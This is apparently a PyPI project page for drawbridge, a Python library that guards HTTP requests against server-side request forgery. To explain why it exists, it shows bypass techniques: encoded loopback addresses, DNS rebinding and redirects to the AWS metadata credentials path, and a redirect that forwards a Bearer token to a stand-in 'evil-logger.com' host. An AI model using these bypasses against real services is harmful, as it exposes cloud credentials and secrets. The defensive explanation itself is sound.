Skip to main content

SSRF-safe HTTP client for Python. Opinionated httpx wrapper that blocks private IPs, prevents DNS rebinding, and validates redirects.

Project description

Drawbridge

Drop-in SSRF protection for Python. Wraps httpx so every outbound request blocks private IPs, prevents DNS rebinding, and validates redirects — with zero configuration.

pip install drawbridge
import drawbridge

response = await drawbridge.get("https://example.com/api/data")
print(response.json())

That's it. Private IPs, link-local, cloud metadata endpoints, IPv6 transition bypasses — all blocked by default. DNS is resolved once and pinned for the connection, so rebinding attacks are structurally impossible.

Why not just validate the URL?

The obvious approach to SSRF protection is: parse the URL, resolve the hostname, check if the IP is private, then make the request. This has been tried many times. It does not work.

The validate-then-fetch gap (DNS rebinding)

import ipaddress, socket, httpx
from urllib.parse import urlparse

def is_safe(url):
    hostname = urlparse(url).hostname
    ip = socket.getaddrinfo(hostname, None)[0][4][0]
    return not ipaddress.ip_address(ip).is_private

# Looks correct — but there's a gap between check and use
if is_safe(url):
    response = httpx.get(url)  # DNS is resolved AGAIN here

An attacker's DNS server returns 93.184.216.34 (public) on the first query, then 169.254.169.254 (AWS metadata) on the second. Your check passes. Their request lands on your cloud metadata endpoint. This is called DNS rebinding, and it has produced critical CVEs in MindsDB (CVSS 9.3), Gradio (CVSS 8.6), and LangChain.

More bypasses that break URL validation

Redirects as SSRF launchers

# Your check passes: attacker.com resolves to a public IP
if is_safe("https://attacker.com/start"):
    response = httpx.get("https://attacker.com/start", follow_redirects=True)
    # But the server responds with:
    # HTTP/1.1 302 Found
    # Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/

The initial URL is safe. The redirect target is not. Most HTTP libraries follow redirects transparently — your validation only checked the first hop. Drawbridge re-validates the IP on every redirect.

IP address obfuscation

All of these resolve to 127.0.0.1:

http://2130706433/          # decimal encoding
http://0x7f000001/          # hex encoding
http://0177.0.0.1/          # octal encoding
http://127.1/               # shorthand (OS-dependent)
http://[::ffff:127.0.0.1]/  # IPv4-mapped IPv6
http://127.0.0.1.nip.io/    # wildcard DNS service

A URL-parsing-based check must handle all of these. A transport-level check doesn't care — it sees the resolved IP after getaddrinfo(), regardless of how it was spelled.

Cross-origin credential leakage

response = httpx.get(
    "https://attacker.com/start",
    headers={"Authorization": "Bearer sk-live-xxx"},
    follow_redirects=True,
)
# attacker.com redirects to https://evil-logger.com/capture
# Your Authorization header is forwarded to the attacker's server.

Drawbridge strips Authorization, Cookie, and other sensitive headers on any cross-origin redirect.

Mixed DNS records

# evil.com resolves to BOTH 93.184.216.34 (public) and 10.0.0.1 (private)
addrs = socket.getaddrinfo("evil.com", 443)
# The OS chooses which IP to connect to — the attacker influences
# this via DNS round-robin ordering.

Drawbridge rejects the entire request if any resolved IP is in a blocked range.

Drawbridge prevents all of these by design. DNS resolution, IP validation, and TCP connection happen in a single code path — there is no gap to exploit, no encoding to smuggle through, no redirect to sneak past.

When to use this

Any time your application fetches a URL that came from a user, webhook config, AI agent tool call, or external API.

import drawbridge
from drawbridge import Client

# Webhook delivery — no redirects allowed
await drawbridge.post(callback_url, json=event, max_redirects=0)

# AI agent tool call — fetch URL from untrusted model output
result = await drawbridge.get(tool_call.url, max_redirects=0)

# Domain-restricted client
async with Client(allow_domains=["*.example.com", "api.stripe.com"]) as client:
    data = await client.get("https://api.example.com/users")

How it works

Drawbridge replaces httpx's transport layer. For every request:

  1. Resolve DNS — single getaddrinfo() call
  2. Validate all IPs — reject if any resolved address is private/reserved
  3. Pin the connection — rewrite URL to validated IP, set Host header and TLS SNI to original hostname
  4. Re-validate redirects — each hop goes through steps 1-3 again

The IP that was validated is the IP that gets connected to. There's no gap between check and use.

Error handling

try:
    response = await drawbridge.get(url)
    response.raise_for_status()
except drawbridge.DrawbridgeError:
    pass  # SSRF violation (blocked IP, domain, port, scheme, or DNS failure)
except httpx.HTTPStatusError:
    pass  # 4xx/5xx from raise_for_status()

SSRF exceptions inherit from drawbridge.DrawbridgeError. Response is an httpx.Response — all standard methods work. See architecture.md for the full exception hierarchy.

Configuration

Set a global default policy so every request uses your settings:

import drawbridge

drawbridge.configure(
    block_domains=["metadata.google.internal"],
    allow_ports=[80, 443],
)

Explicit arguments to Client(), SyncClient(), or convenience functions override the global default. Reset to safe defaults with configure(None). See policy reference for all fields.

Sync API

drawbridge.sync provides the same protection with a blocking interface:

import drawbridge.sync

response = drawbridge.sync.get("https://example.com/api/data")

Streaming

async with drawbridge.stream("GET", url) as response:
    async for chunk in response.aiter_bytes():
        process(chunk)

Testing

Drawbridge blocks localhost by default, but test servers bind to 127.0.0.1. Use configure() in your test fixtures:

# conftest.py
import drawbridge

@pytest.fixture(autouse=True)
def _drawbridge_test_policy(httpserver):
    drawbridge.configure(allow_private=True, allow_ports=[httpserver.port])
    yield
    drawbridge.configure(None)  # Reset to safe defaults

Limitations

Alpha (0.1.x). API may change before 1.0. Not yet independently audited — see SECURITY.md.

HTTP_PROXY/HTTPS_PROXY env vars are ignored — client-side SSRF protection and proxy routing are architecturally incompatible (the proxy makes the real connection, not drawbridge). For proxy environments, use Smokescreen where the proxy itself enforces the denylist.

Does not include retry/backoff — use tenacity. Does not protect against application-logic SSRF where your code constructs URLs from user input before passing them to drawbridge.

Docs

License

MIT

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

drawbridge-0.1.2.tar.gz (15.6 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

drawbridge-0.1.2-py3-none-any.whl (21.2 kB view details)

Uploaded Python 3

File details

Details for the file drawbridge-0.1.2.tar.gz.

File metadata

  • Download URL: drawbridge-0.1.2.tar.gz
  • Upload date:
  • Size: 15.6 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: uv/0.9.5

File hashes

Hashes for drawbridge-0.1.2.tar.gz
Algorithm Hash digest
SHA256 a61831894232b7ea7b1e3e77085f201818f5c42a62d5cefaef4eca6c79ccf45a
MD5 d85c2364fdea97d1d92ba8689f11e67e
BLAKE2b-256 3235c70e9c1659cfdc93582c1416fb1d3be7028cd68f5abe362265a0ee5def11

See more details on using hashes here.

File details

Details for the file drawbridge-0.1.2-py3-none-any.whl.

File metadata

  • Download URL: drawbridge-0.1.2-py3-none-any.whl
  • Upload date:
  • Size: 21.2 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: uv/0.9.5

File hashes

Hashes for drawbridge-0.1.2-py3-none-any.whl
Algorithm Hash digest
SHA256 f641642ac26361789497856a0b4791de2bd3fffea681df34a2dc5d68a7a66fca
MD5 e7100500d168dfc0590f1fea8d4ddbe3
BLAKE2b-256 8d5d403c979fdf4a8f5a37196a8bb187a5f6e8982a5f28dbcd4a08f02c116d98

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page